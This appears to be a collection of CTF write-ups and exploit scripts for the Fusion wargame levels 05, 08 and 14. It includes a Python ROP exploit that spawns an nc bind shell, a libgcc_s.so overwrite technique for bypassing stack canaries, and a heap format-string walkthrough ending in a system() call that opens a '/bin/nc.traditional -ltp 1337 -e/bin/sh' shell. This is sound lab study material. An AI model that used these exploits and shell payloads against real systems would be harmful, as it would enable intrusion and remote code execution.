24 | - *o0777name* - opens *(O_CREAT|O_TRUNC|O_WRONLY)* file named *"name"* with mode *0777* and outputs the number of the file descriptor
25 | - *w7,0DATA* - writes *"DATA"* to the fd *7* from offset *0*
26 | - *c7* - closes fd *7
27 | 
28 | Okay, we can write files on the server under the /home/level08 (because of the chroot) and create directories, but how do we execute code?
29 | 
30 | ## Exploitation
31 | 
32 | The website states this is a stack overflow, but after *level07* nobody can be sure about that, right? After my script was working properly I tried to find the vulnerable part. The macro *set_str_buffer* looked really nasty first (because of the *strcpy()*) but unfortunately all  inputs are hardcoded.  
33 | I found two ways to corrupt the stack, first is based on the hints that can be found in *decryption_worker()* - threads are not locked properly, could mean (and means) some corruption for us.  
34 | The other one which is more reliable and nice is the *sanity_check_name()*. It has a fixed size buffer called buf and we can overflow that with the *realpath()* function. It is really easy and trivial to do, so we could be pleased until we realize that the binary was compiled with SSP, so we have a stack canary that protects the stack:  
35 | > stack smashing detected ***: /opt/fusion/bin/level08 terminated
36 | 
37 | Already explained in the beginning what is the problem with our canary. It is generated randomly, we cannot bruteforce it (you can, but the probability that you will find the correct one is almost zero). I have spent a few weeks on research of stack canaries and bypass techniques and found nothing that is useful here.
38 | 
39 | ## Hints
40 | 
41 | This is the point where you should forget about your bottleneck and find other ways to exploit the vulnerability. I read thru the source code but found nothing, then in a clear moment I noticed something strange. I previously saw that there is a *lib/i386-linux-gnu/* directory which has some kind of shared library, but I thought that is only there for help in case you have RCE and then you can load it and reuse the already compiled functions. I made a huge mistake here, even the name was telling. If you decompile the *.so*, you will find that the *_init* function writes out the **"evil.so loaded"** message, which is a hint indeed. Unfortunately I have terminated the connection before read out this message from the channel, I never saw this previously.  
42 | When a stack corruption happens and the OS notices it terminates the program with **"stack smashing detected \*\*\*"** message. After that message an awful lot of code runs including the *_Unwind_Backtrace()* which provides the stacktrace to the user for debugging purposes. This function resides in the *libgcc_s.so* and because the program runs in a chrooted environment the *libgcc_s.so.1* will be loaded with the evil init function. The shared library is writeable for us which means we can execute any code within the environment.  
43 | Stack overflow exploitation without writing code to the stack, nice huh? There is no need to know the canary this way.
44 | 
45 | ## Steps summarized
46 | 
47 | 1. implement encryption and decryption routines
48 | 2. open the lib/i386-linux-gnu/libgcc_s.so.1 file
49 | 3. overwrite with your shared library (_init function will be executed)
50 | 4. close the file descriptor
51 | 5. create a directory - trigger overflow
52 | 6. init function runs
53 | 
54 | ## Chroot
55 | 
56 | We can execute any code in the chrooted environment, even spawn a shell, but what's the point? We are still enclosed with our unprivileged user. Based on the previous levels there was no requirement to gain root, so I doubt that would be the next step. My solution would had been to create a .ssh directory (which is forbidden in the binary, I thought it is a hint as well) and upload my pub key into the authorized_keys file and log in thru ssh. This approach doesn't work, because our user (*level08*) isn't in the passwd file unfortunately, so sshd doesn't let us in. I have no other ideas hwo to break out. If you do please drop me a mail, I really excited to see how others solve this challenge.
57 | 
58 | Twitter: @xoreipeip
59 | 
60 | 
61 | 
62 | 


--------------------------------------------------------------------------------
/level05/level05.big.py:
--------------------------------------------------------------------------------
  1 | #!/usr/bin/env python
  2 | import socket
  3 | from struct import *
  4 | import time
  5 | import sys
  6 | import struct
  7 | import random
  8 | 
  9 | 
 10 | #pre-beta file for test
 11 | 
 12 | TCP_IP = '10.0.0.1'
 13 | TCP_PORT = 20005
 14 | BUFFER_SIZE = 1024
 15 | 
 16 | 
 17 | def register(s, name):
 18 | 	s.send("addreg " + name + " 32 127.0.0.1\n")
 19 | 	return True
 20 | 
 21 | def unregister(s, name):
 22 | 	s.send("addreg " + name + " 0 0.0.0.0\n")
 23 | 	return True
 24 | 
 25 | def checkname(s, name):
 26 | 	s.send("checkname " + name + "\n")
 27 | 	data = s.recv(BUFFER_SIZE)
 28 | 	if "is not indexed already" in data:
 29 | 		return False
 30 | 	else:
 31 | 		return True 
 32 | 
 33 | def bruteforce(s, prefix, postfix, range):
 34 | 	candidates = []
 35 | 	for i in range:
 36 | 		if i == 32:
 37 | 			continue
 38 | 		register(s, prefix + chr(i) + postfix)
 39 | 		time.sleep(0.1)
 40 | 		checkname(s, "test")
 41 | 		result0 = checkname(s, prefix)
 42 | 		result1 = checkname(s, prefix)
 43 | 		unregister(s, prefix + chr(i) + postfix)
 44 | 		if result0 or result1:
 45 | 			print "possible candidate: "+str(hex(i))
 46 | 			candidates.append(i)
 47 | 			continue
 48 | 	return candidates
 49 | 
 50 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 51 | s.connect((TCP_IP, TCP_PORT))
 52 | data = s.recv(BUFFER_SIZE)
 53 | print "received data:", data
 54 | """
 55 | #test whether it works
 56 | register(s, "A"*16+"\x04")
 57 | time.sleep(0.5)
 58 | checkname(s, "test")
 59 | result = []
 60 | 
 61 | for i in xrange(4):
 62 | 	result.append(checkname(s, "A"*16))
 63 | 
 64 | unregister(s, "A"*16+"\x04")
 65 | for i in xrange(4):
 66 | 	result.append(checkname(s, "A"*16))
 67 | 
 68 | if (result[0] or result[1]) and (result[2] or result[3]):
 69 | 	if not (result[4] or result[5] or result[6] or result[7]): 
 70 | 		print "Works!"
 71 | 	else:
 72 | 		print "Does not work!"
 73 | 		sys.exit()
 74 | else:
 75 | 	print "Does not work!"
 76 | 	sys.exit()
 77 | 
 78 | retestedmemory = []
 79 | print "trying to find hightest byte"
 80 | memory = bruteforce(s, "A"*15, "\x04", range(0,256))
 81 | print "final: "
 82 | retestedmemory.append(bruteforce(s, "B"*15, "\x04", memory)[0])
 83 | print "final: " + str(hex(retestedmemory[0]))
 84 | 
 85 | print "trying to find second hightest byte"
 86 | memory = range(0,256)
 87 | #memory = bruteforce(s, "A"*14, chr(retestedmemory[0])+"\x04", range(0,256))
 88 | while len(memory) != 1:
 89 | 	memory = bruteforce(s, chr(random.randint(0x41,0x4a))*14, chr(retestedmemory[0])+"\x04", memory)
 90 | 
 91 | retestedmemory.append(memory[0])
 92 | print "final: " + str(hex(retestedmemory[1]))
 93 | #retestedmemory.append(0xb7)
 94 | #retestedmemory.append(0x71)
 95 | print "trying to find second lowest byte"
 96 | #memory = bruteforce(s, "A"*13, chr(retestedmemory[1])+chr(retestedmemory[0])+"\x04", range(0,256))
 97 | memory = range(0,256)
 98 | while len(memory) != 1:
 99 | 	memory = bruteforce(s, chr(random.randint(0x41,0x4a))*13, chr(retestedmemory[1])+chr(retestedmemory[0])+"\x04", memory)
100 | 
101 | level05base = (retestedmemory[0]<<24) + (retestedmemory[1]<<16) + (((memory[0]>>4)-2)<<12)
102 | 
103 | 
104 | print str(hex(level05base))
105 | print "exploiting in 10sec."
106 | time.sleep(10)
107 | 
108 | libcbase = level05base - 0x1a9000
109 | """
110 | libcbase = 0xb7715000
111 | print str(hex(libcbase))
112 | 
113 | p = ""
114 | p += pack("<I", libcbase + 0x000e0097) # pop %edx | pop %ecx | pop %ebx | ret
115 | p += pack("<I", libcbase + 0x00178020) # @ .data
116 | p += pack("<I", 0x42424242) # padding
117 | p += pack("<I", libcbase + 0x000238df) # pop %eax | ret
118 | p += "//bi"
119 | p += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret
120 | 
121 | p += pack("<I", libcbase + 0x000e0097) # pop %edx | pop %ecx | pop %ebx | ret
122 | p += pack("<I", libcbase + 0x00178024) # @ .data + 4
123 | p += pack("<I", 0x42424242) # padding
124 | p += pack("<I", libcbase + 0x000238df) # pop %eax | ret
125 | p += "n/nc"
126 | p += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret
127 | 
128 | p += pack("<I", libcbase + 0x000e0097) # pop %edx | pop %ecx | pop %ebx | ret
129 | p += pack("<I", libcbase + 0x00178028) # @ .data + 8
130 | p += pack("<I", 0x42424242) # padding
131 | p += pack("<I", libcbase + 0x000238df) # pop %eax | ret
132 | p += ".tra"
133 | p += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret
134 | 
135 | p += pack("<I", libcbase + 0x000e0097) # pop %edx | pop %ecx | pop %ebx | ret
136 | p += pack("<I", libcbase + 0x0017802c) # @ .data + 12
137 | p += pack("<I", 0x42424242) # padding
138 | p += pack("<I", libcbase + 0x000238df) # pop %eax | ret
139 | p += "diti"
140 | p += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret
141 | 
142 | p += pack("<I", libcbase + 0x000e0097) # pop %edx | pop %ecx | pop %ebx | ret
143 | p += pack("<I", libcbase + 0x00178030) # @ .data + 16
144 | p += pack("<I", 0x42424242) # padding
145 | p += pack("<I", libcbase + 0x000238df) # pop %eax | ret
146 | p += "onal"
147 | p += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret
148 | 
149 | 
150 | p += pack("<I", libcbase + 0x000e0097) # pop %edx | pop %ecx | pop %ebx | ret
151 | p += pack("<I", libcbase + 0x00178034) # @ .data + 20
152 | p += pack("<I", 0x42424242) # padding
153 | p += pack("<I", libcbase + 0x000328e0) # xor %eax,%eax | ret
154 | p += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret
155 | p += pack("<I", libcbase + 0x000e0097) # pop %edx | pop %ecx | pop %ebx | ret
156 | p += pack("<I", libcbase + 0x00178035) # @ .data + 21
157 | p += pack("<I", 0x42424242) # padding
158 | p += pack("<I", libcbase + 0x000238df) # pop %eax | ret
159 | p += "-ltp"
160 | p += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret
161 | p += pack("<I", libcbase + 0x000e0097) # pop %edx | pop %ecx | pop %ebx | ret
162 | p += pack("<I", libcbase + 0x00178039) # @ .data + 25
163 | p += pack("<I", 0x42424242) # padding
164 | p += pack("<I", libcbase + 0x000238df) # pop %eax | ret
165 | p += "1337"
166 | p += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret
167 | p += pack("<I", libcbase + 0x000e0097) # pop %edx | pop %ecx | pop %ebx | ret
168 | p += pack("<I", libcbase + 0x0017803d) # @ .data + 29
169 | p += pack("<I", 0x42424242) # padding
170 | p += pack("<I", libcbase + 0x000328e0) # xor %eax,%eax | ret
171 | p += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret
172 | p += pack("<I", libcbase + 0x000e0097) # pop %edx | pop %ecx | pop %ebx | ret
173 | p += pack("<I", libcbase + 0x0017803e) # @ .data + 30
174 | p += pack("<I", 0x42424242) # padding
175 | p += pack("<I", libcbase + 0x000238df) # pop %eax | ret
176 | p += "-e//"
177 | p += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret
178 | p += pack("<I", libcbase + 0x000e0097) # pop %edx | pop %ecx | pop %ebx | ret
179 | p += pack("<I", libcbase + 0x00178042) # @ .data + 34
180 | p += pack("<I", 0x42424242) # padding
181 | p += pack("<I", libcbase + 0x000238df) # pop %eax | ret
182 | p += "/bin"
183 | p += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret
184 | p += pack("<I", libcbase + 0x000e0097) # pop %edx | pop %ecx | pop %ebx | ret
185 | p += pack("<I", libcbase + 0x00178046) # @ .data + 38
186 | p += pack("<I", 0x42424242) # padding
187 | p += pack("<I", libcbase + 0x000238df) # pop %eax | ret
188 | p += "//sh"
189 | p += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret
190 | p += pack("<I", libcbase + 0x000e0097) # pop %edx | pop %ecx | pop %ebx | ret
191 | p += pack("<I", libcbase + 0x0017804a) # @ .data + 42
192 | p += pack("<I", 0x42424242) # padding
193 | p += pack("<I", libcbase + 0x000328e0) # xor %eax,%eax | ret
194 | p += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret
195 | p += pack("<I", libcbase + 0x000e0097) # pop %edx | pop %ecx | pop %ebx | ret
196 | p += pack("<I", libcbase + 0x0017804c) # @ .data + 44
197 | p += pack("<I", 0x42424242) # padding
198 | p += pack("<I", libcbase + 0x000238df) # pop %eax | ret
199 | p += pack("<I", libcbase + 0x00178020) # @ .data
200 | p += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret
201 | p += pack("<I", libcbase + 0x000e0097) # pop %edx | pop %ecx | pop %ebx | ret
202 | p += pack("<I", libcbase + 0x00178050) # @ .data + 48
203 | p += pack("<I", 0x42424242) # padding
204 | p += pack("<I", libcbase + 0x000238df) # pop %eax | ret
205 | p += pack("<I", libcbase + 0x00178035) # @ .data + 21
206 | p += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret
207 | p += pack("<I", libcbase + 0x000e0097) # pop %edx | pop %ecx | pop %ebx | ret
208 | p += pack("<I", libcbase + 0x00178054) # @ .data + 52
209 | p += pack("<I", 0x42424242) # padding
210 | p += pack("<I", libcbase + 0x000238df) # pop %eax | ret
211 | p += pack("<I", libcbase + 0x0017803e) # @ .data + 30
212 | p += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret
213 | p += pack("<I", libcbase + 0x000e0097) # pop %edx | pop %ecx | pop %ebx | ret
214 | p += pack("<I", libcbase + 0x00178058) # @ .data + 56
215 | p += pack("<I", 0x42424242) # padding
216 | p += pack("<I", libcbase + 0x000328e0) # xor %eax,%eax | ret
217 | p += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret
218 | p += pack("<I", libcbase + 0x000e0097) # pop %edx | pop %ecx | pop %ebx | ret
219 | p += pack("<I", libcbase + 0x00178059) # @ .data + 57
220 | p += pack("<I", 0x42424242) # padding
221 | p += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret
222 | p += pack("<I", libcbase + 0x000e0097) # pop %edx | pop %ecx | pop %ebx | ret
223 | p += pack("<I", libcbase + 0x0017805a) # @ .data + 58
224 | p += pack("<I", 0x42424242) # padding
225 | p += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret
226 | p += pack("<I", libcbase + 0x000e0097) # pop %edx | pop %ecx | pop %ebx | ret
227 | p += pack("<I", libcbase + 0x0017805b) # @ .data + 59
228 | p += pack("<I", 0x42424242) # padding
229 | p += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret
230 | p += pack("<I", libcbase + 0x000e0097) # pop %edx | pop %ecx | pop %ebx | ret
231 | p += pack("<I", libcbase + 0x0017804c) # @ .data + 44
232 | p += pack("<I", 0x42424242) # padding
233 | p += "ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ"
234 | p += pack("<I", libcbase + 0x00001a9e) # pop %edx | ret
235 | p += pack("<I", libcbase + 0x00178058) # @ .data + 56
236 | p += pack("<I", libcbase + 0x000328e0) # xor %eax,%eax | ret
237 | p += pack("<I", libcbase + 0x00026722) # inc %eax | ret
238 | p += pack("<I", libcbase + 0x00026722) # inc %eax | ret
239 | p += pack("<I", libcbase + 0x00026722) # inc %eax | ret
240 | p += pack("<I", libcbase + 0x00026722) # inc %eax | ret
241 | p += pack("<I", libcbase + 0x00026722) # inc %eax | ret
242 | p += pack("<I", libcbase + 0x00026722) # inc %eax | ret
243 | p += pack("<I", libcbase + 0x00026722) # inc %eax | ret
244 | p += pack("<I", libcbase + 0x00026722) # inc %eax | ret
245 | p += pack("<I", libcbase + 0x00026722) # inc %eax | ret
246 | p += pack("<I", libcbase + 0x00026722) # inc %eax | ret
247 | p += pack("<I", libcbase + 0x00026722) # inc %eax | ret
248 | p += pack("<I", libcbase + 0x0002dd35) # int $0x80
249 | p += "ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ"
250 | print str(p)
251 | 
252 | checkname(s, "A"*44+p)
253 | 
254 | s.close()
255 | 
256 | 


--------------------------------------------------------------------------------
/level14/README.md:
--------------------------------------------------------------------------------
  1 | # level14
  2 | The end of the year always helps me speed up things regarding my hobbies, I have more time to do some not work related things. Same happened here, finally I managed to solve all levels of Fusion after almost a year. That's what happens when you do all sort of things besides your hobby.  
  3 | level14 is the last level and had no write-up yet, this should be the first one.
  4 | 
  5 | ## Pre-exploitation
  6 | If you start to poke around in the binary you will see that the webpage is not quite right, even though the stack and heap are randomized as excepted because ASLR was turned on when the source was compiled, the webpage says no it has PIE. It has, the base and everything else is randomized as well. It doesn't really matter for us as you will see, because it is a format string exploitation level again. The website says it's heap, which was disturbing and strange for me at first, but after I read some articles about format strings I realized the webpage was right. In this exercise both variables are on the heap that are used in the vulnerable *snprintf()* function. Why is that important? Because *\*printf()* reads every parameter from the stack, and we can't write to stack directly, our parameter will be put on the heap instead of stack.
  7 | It is highly recommended to read these two articles about format string exploitation:
  8 | - \[1\] [Exploiting Format String Vulnerabilities](https://crypto.stanford.edu/cs155/papers/formatstring-1.2.pdf)
  9 | - \[2\] [Advances in format string exploitation - 0x0b, Issue 0x3b, Phile #0x07 of 0x12](http://phrack.org/issues/59/7.html)  
 10 | 
 11 | To understand this write-up it is necessary to have some experience or at least the papers read.
 12 | 
 13 | ## Heap trouble
 14 | As you can find in the articles, most of the format string vulnerabilities are stack based. All of the supplied variables reside on the stack (or at least one) so somehow you can influence the behaviour of the function. You can put some values on stack and later use those as addresses in the memory to write to. By design when the *\*printf()* functions are called they pick the necessary pointers and values from stack, so we need to find a new way to put values/pointers on the stack before calling the *\*printf()* function. The two articles (mostly the second one) explains it very well and presents several techniques. Unfortunately these techniques are not working on Linux glibc, so we have to do some tricks. Probably this technique (which is based on a specific scenario) is already published somewhere and I'm not the only one who did this (this is very likely since it is an exercise)
 15 | 
 16 | ## Looking for chains
 17 | We are going to check the pointers that are already on stack when the function is called. Let's connect to the service and send lots of **"%08x"** to get the content of the stack.
 18 | ```
 19 | (gdb) attach 4618  
 20 | Attaching to process 4618
 21 | ...
 22 | (gdb) b snprintf
 23 | Breakpoint 1 at 0xb753d1f0: file snprintf.c, line 30.
 24 | (gdb) c
 25 | Continuing.
 26 | 
 27 | Breakpoint 1, __snprintf (s=0xb7c41268 "", maxlen=2048, 
 28 |     format=0xb7c4016c "%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x."...)
 29 |     at snprintf.c:30
 30 | 30	snprintf.c: No such file or directory.
 31 | 	in snprintf.c
 32 | (gdb) display/i $pc
 33 | 1: x/i $pc
 34 | => 0xb753d1f0 <__snprintf>:	push   %ebx
 35 | (gdb) ni
 36 | ...
 37 | (gdb) 
 38 | 0xb753d21e	35	in snprintf.c
 39 | 1: x/i $pc
 40 | => 0xb753d21e <__snprintf+46>:	call   0xb7555cf0 <_IO_vsnprintf>
 41 | (gdb) x/80wx $esp
 42 | 0xbfdd4ef8:	0xb7c41268	0x00000800	0xb7c4016c	0xbfdd4f1c
 43 | 0xbfdd4f08:	0xb7c40158	0xb77d1208	0xb7c41268	0x00000800
 44 | 0xbfdd4f18:	0xb7c4016c	0xb7c40a10	0xb77d0700	0x00000000
 45 | 0xbfdd4f28:	0xbfdd5140	0xb7c40a10	0xb77d0700	0x00000000
 46 | 0xbfdd4f38:	0xb75622e3	0xb7c40a10	0xb77d10d0	0x00000000
 47 | 0xbfdd4f48:	0xb7c40158	0xb77d10d0	0x00000000	0xb7c40158
 48 | 0xbfdd4f58:	0xbfdd4f4c	0x00000000	0x00000000	0xb768d000
 49 | 0xbfdd4f68:	0xb76a13b8	0x000e3120	0xbfdd4f30	0xb7c41228
 50 | 0xbfdd4f78:	0xb766aff4	0xb766c400	0xb7c40030	0x00000000
 51 | 0xbfdd4f88:	0xb756594d	0xb75658e0	0xb7c40990	0xb776fff4
 52 | 0xbfdd4f98:	0xb77d0070	0xb773a80f	0xb7c40990	0xb74c8190
 53 | 0xbfdd4fa8:	0xb7562d8e	0xb777c058	0xb77d0070	0xb7c40030
 54 | 0xbfdd4fb8:	0x00000000	0xb77d012c	0xb7c40158	0xbfdd4ff4
 55 | 0xbfdd4fc8:	0x00000154	0xb7c40030	0xb77d10d0	0x00000000
 56 | 0xbfdd4fd8:	0xb7c40158	0x00000000	0xb777c058	0x00000154
 57 | 0xbfdd4fe8:	0xb77d10d0	0x00000000	0xb7c40158	0x00000000
 58 | 0xbfdd4ff8:	0xb777c058	0x00000154	0xbfdd4fd0	0x00000000
 59 | 0xbfdd5008:	0x00000000	0x00000001	0xb7c40990	0xb77d0070
 60 | 0xbfdd5018:	0xb7c40990	0xb77ca8a9	0xb7c40030	0xb7c40990
 61 | 0xbfdd5028:	0x00000000	0xb777c058	0x00000000	0x00000004
 62 | ```
 63 | 
 64 | Response from the server:
 65 | ```
 66 | root@kali:~/fusion/level14# nc 172.16.193.195 20014
 67 | %08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x
 68 | b7c40a10.b77d0700.00000000.bfdd5140.b7c40a10.b77d0700.00000000.b75622e3.b7c40a10.b77d10d0.00000000.b7c40158.b77d10d0.00000000.b7c40158.bfdd4f4c.00000000.00000000.b768d000.b76a13b8.000e3120.bfdd4f30.b7c41228.b766aff4.b766c400.b7c40030.00000000.b756594d.b75658e0.b7c40990.b776fff4.b77d0070.b773a80f.b7c40990.b74c8190.b7562d8e.b777c058.b77d0070.b7c40030.00000000.b77d012c.b7c40158.bfdd4ff4.00000154.b7c40030.b77d10d0.00000000.b7c40158.00000000.b777c058.00000154.b77d10d0.00000000.b7c40158.00000000.b777c058.00000154.bfdd4fd0.00000000.00000000.00000001.b7c40990.b77d0070.b7c40990.b77ca8a9.b7c40030.b7c40990.00000000
 69 | ```
 70 | 
 71 | *snprintf()* leaks from **$esp+36**, so we can address any other 4bytes that comes after. **%1$x** points to **$esp+36**, **$2%x** points to **$esp+40** an so on... We need to find a pointer on stack which points to the stack, you can even find longer chains, but we need only one pointer at the moment (possibly two to have a shorter exploit). Before you start to look for one, it is best to look farther on, too close values on the stack mean we are picking (and later altering) values on stack that are related to the called function or to the caller or to the caller of the caller and so on. Farther is better, but we have to make sure we are still in the stack frame. We are going to modify some values on stack, so if we can keep those values in an area that never changes while we are minding our business we don't have to expect a crash, which is a good thing. The service works in a loop, so outer functions won't be accessed while we are crafting our payload, we need to aim for that stack partition.  
 72 | **%256$x** will be just good for us. It points to **%263$x** which points to somewhere on the stack. Unfortunately the latter points to an address on stack which can't be divided with 4, so it is not aligned. We need to modify that address to point to something proper. We'll do that later.
 73 | 
 74 | ## Info leaks
 75 | The best thing about format string exploits is that you don't have to worry about PIE and ASLR, you can get almost any kind of address from stack reliably. In this case we want to know the base address of some module, address of a heap variable and some stack addresses (explained above).
 76 | - **%1$x** leaks heap, we can use it to have a pointer to our payload which will be the shell command (*-0x78c8*)
 77 | - **%4$x** leaks stack, we can use it to have a reliable pointer to the ret address of the function (*+0x234*)
 78 | - **%6$x** leaks level14 module address (*+0xb700*)
 79 | - **%256$x** leaks the address of **%263$x** which has to be aligned and modified step-by-step
 80 | - **%263$x** not important for us
 81 | 
 82 | Our stack looks like this:
 83 | > [1:heap][2:doesnt][3:matter][4:stackleak]...[6:level14leak]...[256:pointer-to-263]...[263:pointer-to-stack-to-xxx+2]...[xxx:DEADBABE][xxx+1:B00BE555] ---> direction to the bottom
 84 | 
 85 | We can start to play with these leaks and can reliably tell the base of any module loaded (PIE is out of the game) so we know the *exit()* and *system()* function addresses; furthermore we know some pointers to the stack which helps us determine the value of the ret address of the *sprintf()* and to create some pointers on stack. Additionally we have a pointer to the heap (basically to the secondly allocated variable) which can be used as a relative pointer to our payload (ASLR protection is gone).
 86 | 
 87 | 
 88 | ## Aligning the stack
 89 | As in all format string exploits we want to write arbitrary 4bytes to arbitrary addresses, for example to change a GOT entry. Because of the fact that this is a heap based format string vulnerability, we can't write the stack easily, but this is why we looked for a chain on stack.  
 90 | First we have to modify the address on **%263$x**, because it is not divisible by 4, so if we write something to the address which it points to, it won't be addressable (on the stack "figure" above **%263$x** points to the value *0xBABEB00B*, we want it to point to *0xDEADBABE*). Because it already points to the stack, the upper 16bits of its value is good for us, so we only have to modify the lower 16bits with a short write. (*+0x30* makes sure it points farther than the stack will be used in the program)
 91 | 
 92 | ```
 93 | alignedstack = (stackp2p & 0xFFFFFFFC) + 0x30
 94 | bw = 0x00
 95 | p2pbytelo = ((alignedstack - bw) & 0xFFFF) 
 96 | payload0  = "%"+str(p2pbytelo)+"x%256$hn" # aligning the stack!
 97 | payload0 += "\n\x00"
 98 | ```
 99 | 
100 | Now we have a proper pointer on stack which can be used to write arbitrary two bytes. After aligning, the stack looks like this:
101 | > [1:heap]...[4:stackleak]...[6:level14leak]...[256:pointer-to-263]...[263:pointer-to-275]...[275:DEADBABE] ---> direction to the bottom
102 | 
103 | 
104 | ## Writing addresses
105 | We have a pointer that points to a pointer that points to the stack. With this structure we can write arbitrary addresses on the bottom of the stack which will be readable for our heap based format string vulnerability. When we are ready with this, we basically turned our heap based vulnerability to a stack based, so it will act as any other stack based format string vulnerability.
106 | In 6*2 steps we are going to write 2bytes on the stack and modify the pointer to point to the next two bytes. At the end we will have 6 consequential overlapping addresses on stack which can be used to write 3 arbitrary dwords - 12bytes.
107 | 
108 | ```
109 | def generate_formatstring(value, align):
110 |         time.sleep(0.5)
111 | 
112 |         bw = 0x00
113 |         byte = (((value & 0xFFFF) - bw) & 0xFFFF)
114 |         bw += byte
115 |         alignaddr = ((alignedstack - bw + align) & 0xFFFF)
116 | 
117 |         payload  = "%"+str(byte)+"x%263$hn" # set half byte on previously set address
118 |         payload += "%"+str(alignaddr)+"x%256$hn" # set addr to next half byte
119 |         payload += "\n\x00"
120 | 
121 |         return payload
122 | ```
123 | By looping the *align* variable each cycle will generate two format strings that write on the stack and then loops the pointer to the next two bytes.
124 | ```
125 | for i in range(1,7):
126 |         s.send(generate_formatstring(stackrop + (i-1)*2, i*4-2))
127 |         s.recv(BUFFER_SIZE)
128 |         s.send(generate_formatstring(stackrop >> 0x10, i*4))
129 |         s.recv(BUFFER_SIZE)
130 |         print "[+] %d. value set" % i
131 | ```
132 | 
133 | After the loop our stack will look like this:
134 | > [1:heap]...[4:stackleak]...[6:level14leak]...[256:pointer-to-263]...[263:pointer-to-280 +2]...[275:retaddr][276:retaddr+2][277:retaddr+4][278:retaddr+6][279:retaddr+8][280:retaddr+10] ---> direction to the bottom
135 | 
136 | 
137 | ## Final steps
138 | 
139 | We have 6 different addresses on stack, crafted by ourselves. All of these are fully addressable by our format string vulnerability by **%275$x** to **%280$x**. In the Info leak section we managed to get a reliable address that points to the ret address of the *snprintf()* function; if we change that address the function will return to a different location. If we change more dwords on that memory location, we can create a ROP chain with our gadgets. Our chain will look like this:
140 | > [system()][exit()][payload-from-heap]
141 | 
142 | We already have all the necessary addresses leaked in the Info leak section, we only have to write these to our crafted pointers.
143 | ```
144 | payloadx  = "/bin/nc.traditional -ltp 1337 -e/bin/sh;" # eat this system()!
145 | payloadx += "%"+str(bytelo1)+"x%275$hn%"+str(bytehi1)+"x%276$hn" # ret to system
146 | payloadx += "%"+str(bytelo2)+"x%277$hn%"+str(bytehi2)+"x%278$hn" # exit() pointer
147 | payloadx += "%"+str(bytelo3)+"x%279$hn%"+str(bytehi3)+"x%280$hn" # heap addr that points to this payload
148 | payloadx += "\n\x00"
149 | ```
150 | - *byte[lo|hi]1* stores *system()*'s address from libc
151 | - *byte[lo|hi]2* stores *exit()*'s address from libpthread
152 | - *byte[lo|hi]3* stores the pointer to the payload prefixed the format string
153 | 
154 | By overwriting the ret address and the following two dwords we have our ROP chain placed on stack. The function returns to *system()* with our payload and executes the command.
155 | 
156 | Twitter: [@xoreipeip](https://twitter.com/xoreipeip)
157 | 
158 | 
159 | 
160 | 


--------------------------------------------------------------------------------